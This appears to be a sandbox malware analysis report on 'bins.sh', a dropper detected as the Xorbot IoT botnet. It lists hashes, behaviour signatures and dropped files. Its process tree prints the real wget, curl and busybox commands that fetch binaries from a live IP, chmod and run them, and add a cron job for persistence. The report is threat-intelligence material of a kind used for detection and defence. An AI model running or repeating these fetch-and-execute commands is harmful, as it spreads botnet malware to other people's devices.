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Analysis

  • max time kernel
    150s
  • max time network
    124s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    05/01/2025, 02:12

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    14d81ef351bb6aae82ee36299ec51f37

  • SHA1

    58f421dee90f5cf84f804bc5fdd25e6c772bd694

  • SHA256

    a951ff81fba393bc4198415409f8debbd1810cd12428e09d4911db31b2c13865

  • SHA512

    fd5442120434dd9da842e3d123263711ed0c0052b53d66f04c5c4b9e966208181ea139e2efdd758237a1a4500f08bad61cc6319ccd96314b97a940f4bc318c40

  • SSDEEP

    192:Fnbdk8L13hLVWSX3Lvemcu6JdL13hLVWSLTemcu6JWXO:xdko3LYG

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:644
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:652
        • /usr/bin/wget
          wget http://66.63.187.225/bins/LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
          2⤵
          • Writes file to tmp directory
          PID:654
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:669
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
          2⤵
          • Writes file to tmp directory
          PID:675
        • /bin/chmod
          chmod 777 LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
          2⤵
          • File and Directory Permissions Modification
          PID:678
        • /tmp/LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
          ./LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
          2⤵
          • Executes dropped EXE
          PID:679
        • /bin/rm
          rm LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
          2⤵
            PID:681
          • /usr/bin/wget
            wget http://66.63.187.225/bins/aufK8cCuLXUgGcF5gRWjQmCKH0sKidBFiY
            2⤵
            • Writes file to tmp directory
            PID:682
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/aufK8cCuLXUgGcF5gRWjQmCKH0sKidBFiY
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:683
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/aufK8cCuLXUgGcF5gRWjQmCKH0sKidBFiY
            2⤵
            • Writes file to tmp directory
            PID:691
          • /bin/chmod
            chmod 777 aufK8cCuLXUgGcF5gRWjQmCKH0sKidBFiY
            2⤵
            • File and Directory Permissions Modification
            PID:694
          • /tmp/aufK8cCuLXUgGcF5gRWjQmCKH0sKidBFiY
            ./aufK8cCuLXUgGcF5gRWjQmCKH0sKidBFiY
            2⤵
            • Executes dropped EXE
            PID:696
          • /bin/rm
            rm aufK8cCuLXUgGcF5gRWjQmCKH0sKidBFiY
            2⤵
              PID:698
            • /usr/bin/wget
              wget http://66.63.187.225/bins/OJpbALdUn8M53DtfsFuYPGRZWq9THs2mQC
              2⤵
              • Writes file to tmp directory
              PID:699
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/OJpbALdUn8M53DtfsFuYPGRZWq9THs2mQC
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:706
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/OJpbALdUn8M53DtfsFuYPGRZWq9THs2mQC
              2⤵
              • Writes file to tmp directory
              PID:715
            • /bin/chmod
              chmod 777 OJpbALdUn8M53DtfsFuYPGRZWq9THs2mQC
              2⤵
              • File and Directory Permissions Modification
              PID:718
            • /tmp/OJpbALdUn8M53DtfsFuYPGRZWq9THs2mQC
              ./OJpbALdUn8M53DtfsFuYPGRZWq9THs2mQC
              2⤵
              • Executes dropped EXE
              PID:719
            • /bin/rm
              rm OJpbALdUn8M53DtfsFuYPGRZWq9THs2mQC
              2⤵
                PID:722
              • /usr/bin/wget
                wget http://66.63.187.225/bins/eGW8zE4UW3xGKJ3eFdL1aeOLNySZxKU3nu
                2⤵
                • Writes file to tmp directory
                PID:723
              • /usr/bin/curl
                curl -O http://66.63.187.225/bins/eGW8zE4UW3xGKJ3eFdL1aeOLNySZxKU3nu
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:730
              • /bin/busybox
                /bin/busybox wget http://66.63.187.225/bins/eGW8zE4UW3xGKJ3eFdL1aeOLNySZxKU3nu
                2⤵
                • Writes file to tmp directory
                PID:740
              • /bin/chmod
                chmod 777 eGW8zE4UW3xGKJ3eFdL1aeOLNySZxKU3nu
                2⤵
                • File and Directory Permissions Modification
                PID:743
              • /tmp/eGW8zE4UW3xGKJ3eFdL1aeOLNySZxKU3nu
                ./eGW8zE4UW3xGKJ3eFdL1aeOLNySZxKU3nu
                2⤵
                • Executes dropped EXE
                PID:745
              • /bin/rm
                rm eGW8zE4UW3xGKJ3eFdL1aeOLNySZxKU3nu
                2⤵
                  PID:748
                • /usr/bin/wget
                  wget http://66.63.187.225/bins/BqKo0jWuEfClJ30XZ1Sg4e3O9JhnRxqmEn
                  2⤵
                  • Writes file to tmp directory
                  PID:749
                • /usr/bin/curl
                  curl -O http://66.63.187.225/bins/BqKo0jWuEfClJ30XZ1Sg4e3O9JhnRxqmEn
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:752
                • /bin/busybox
                  /bin/busybox wget http://66.63.187.225/bins/BqKo0jWuEfClJ30XZ1Sg4e3O9JhnRxqmEn
                  2⤵
                  • Writes file to tmp directory
                  PID:753
                • /bin/chmod
                  chmod 777 BqKo0jWuEfClJ30XZ1Sg4e3O9JhnRxqmEn
                  2⤵
                  • File and Directory Permissions Modification
                  PID:756
                • /tmp/BqKo0jWuEfClJ30XZ1Sg4e3O9JhnRxqmEn
                  ./BqKo0jWuEfClJ30XZ1Sg4e3O9JhnRxqmEn
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:757
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:759
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                        • Reads runtime system information
                        PID:760
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:762
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:764
                    • /bin/rm
                      rm BqKo0jWuEfClJ30XZ1Sg4e3O9JhnRxqmEn
                      2⤵
                        PID:766
                      • /usr/bin/wget
                        wget http://66.63.187.225/bins/Zlu3fuYOIdSSfMwVnVrpKQkzArlHcOgTlQ
                        2⤵
                          PID:770
                        • /usr/bin/curl
                          curl -O http://66.63.187.225/bins/Zlu3fuYOIdSSfMwVnVrpKQkzArlHcOgTlQ
                          2⤵
                            PID:772
                          • /bin/busybox
                            /bin/busybox wget http://66.63.187.225/bins/Zlu3fuYOIdSSfMwVnVrpKQkzArlHcOgTlQ
                            2⤵
                            • Writes file to tmp directory
                            PID:854
                          • /bin/chmod
                            chmod 777 Zlu3fuYOIdSSfMwVnVrpKQkzArlHcOgTlQ
                            2⤵
                            • File and Directory Permissions Modification
                            PID:864
                          • /tmp/Zlu3fuYOIdSSfMwVnVrpKQkzArlHcOgTlQ
                            ./Zlu3fuYOIdSSfMwVnVrpKQkzArlHcOgTlQ
                            2⤵
                            • Executes dropped EXE
                            PID:865
                          • /bin/rm
                            rm Zlu3fuYOIdSSfMwVnVrpKQkzArlHcOgTlQ
                            2⤵
                              PID:867
                            • /usr/bin/wget
                              wget http://66.63.187.225/bins/wwNrd5leDxLOYtn3GGKlOt9pUEZiI9OwiL
                              2⤵
                                PID:868

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/BqKo0jWuEfClJ30XZ1Sg4e3O9JhnRxqmEn

                              Filesize

                              177KB

                              MD5

                              786d75a158fe731feca3880f436082c0

                              SHA1

                              79ea2734e43d00cdeabed5586b2c1994d02aef3e

                              SHA256

                              5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                              SHA512

                              7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                            • /tmp/LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE

                              Filesize

                              112KB

                              MD5

                              05d7857dcead18bbd86d2935f591873c

                              SHA1

                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                              SHA256

                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                              SHA512

                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                            • /tmp/OJpbALdUn8M53DtfsFuYPGRZWq9THs2mQC

                              Filesize

                              111KB

                              MD5

                              701e7a55a4f3650f5feee92a9860e5fc

                              SHA1

                              6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                              SHA256

                              ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                              SHA512

                              7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                            • /tmp/Zlu3fuYOIdSSfMwVnVrpKQkzArlHcOgTlQ

                              Filesize

                              111KB

                              MD5

                              ca897a38f23ec23521ce0b1b83f8422d

                              SHA1

                              b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                              SHA256

                              043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                              SHA512

                              10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                            • /tmp/aufK8cCuLXUgGcF5gRWjQmCKH0sKidBFiY

                              Filesize

                              98KB

                              MD5

                              5141342d0df8699fa32a6b066a0c592e

                              SHA1

                              8157673225bd5182f16215e2aa823a25ca2d4fbc

                              SHA256

                              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                              SHA512

                              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                            • /tmp/eGW8zE4UW3xGKJ3eFdL1aeOLNySZxKU3nu

                              Filesize

                              99KB

                              MD5

                              9438d9bc392bcf300a5583b6df5bc8f6

                              SHA1

                              375a6ae34b516f6f3eeea8030c4084f585017efa

                              SHA256

                              68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                              SHA512

                              1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                            • /var/spool/cron/crontabs/tmp.VUCIza

                              Filesize

                              210B

                              MD5

                              a5529380015bb69a447774e3516fcd64

                              SHA1

                              1f9491ba7b7d308dcbb547a763953e10572f5315

                              SHA256

                              16dbd567643762ec91fd9a03c941def70e43d145fe61ef024f733def0b326990

                              SHA512

                              33a7812dba4798b92580f46ba323d88eed4eff100dc2bbfc1be699d70424ac1035091124d1f886e1b21a534f2a4e998bc32f65cbc648c006c7d424b1d7770953